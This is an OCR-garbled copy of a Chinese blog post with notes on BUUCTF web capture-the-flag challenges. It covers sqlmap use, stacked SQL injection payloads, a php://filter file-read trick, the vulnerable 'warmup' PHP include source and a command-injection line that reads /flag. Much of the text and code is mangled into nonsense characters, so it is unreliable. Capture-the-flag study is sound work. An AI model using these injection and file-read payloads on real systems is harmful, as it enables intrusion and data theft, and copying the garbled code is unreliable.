BUUCTFWEB21820.: 45

- AN F 2021-08-20 18:31:14 KA 48 e

»RLE: CTF+WEB

FERALE . ASCNE LRI E, #I5.CC 4.0 BY-SA FRAUHI, HEIFM LR SCH A SEEA A S B .
ASCHEER:: https://blog.csdn.net/qq_51283187/article/details/119829060

WA
| RS
b l'f_¢;
o = A
A . CTF+WEB I T %
8RXEOITIH
T &R
BUUCTFWEB21820% 45

A RTBUUCTF_EHINTBOOKKIZANANATTRE H flweb#i 7 ) — LLEERHAR . W7, fa] 80 80A F AT, B XAZ. WBUH T AL

2.

N1BOOK

OF RH1E BWE

S B FAAB) =R 1 B S0
robots.txt index.php~ .index.php.swp
Vi EFERAT

@R LH N

gititt &

T #githackfR 5

githack url
IO FHE R AR Fhtml, REHA

®sqliEA1
sqlmap#t 1T
B AT EEABR

®sqliE A2
sqlmaptiT
B i diFE A updatexml

@afr_1
http://127.0.0.1/cmd.php?file=php://ffilter/convert.base64-encode/resource=flag.php


https://blog.csdn.net/qq_51283187
https://blog.csdn.net/qq_51283187/category_11285844.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_51283187/article/details/119829060
https://blog.csdn.net/qq_51283187/category_11285844.html

®afr 2
F1218 3R &R
RIGNImg.. /[EERIRE X, FIlifag

WEB

@warmup

<?php
highlight_file(__FILE_);
class emmm
{
public static function checkFile(&$page)
{
Swhitelist = [ ,
if (! isset($page) || lis_string($page)) {
echo ;
return false;

if (in_array($page, $whitelist)) {
return true;

$ page = mb_substr(

$page,
0,
mb_strpos($page
)i
if (in_array($_page, $whitelist)) {
return true;

$_page = urldecode($page);

$_page = mb_substr(
$_page,
0,
mb_strpos($_page
);
if (in_array($_page, $whitelist)) {
return true;
ki
echo
return false;




if (| empty($_REQUEST['file'])
is_string($_REQUEST['file'])
emmm::checkFile($_REQUEST][file'])

) {
include $ REQUEST]['file'];

exit;
} else {
echo
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HeBVEN 1 ;show tables;#
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-1’; set @sqgl = CONCAT('se’,lect * from 1919810931114514 ;');
prepare stmt from @sq;

EXECUTE stmt; #
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BtEE—TF, THEHEM : select *,1|flag from Flag
%7 F select *,1 from Flag
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F12+?file=php:/filter/read=convert.oase64-encode/resource=flag.php
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127.0.0.1;cat /flag
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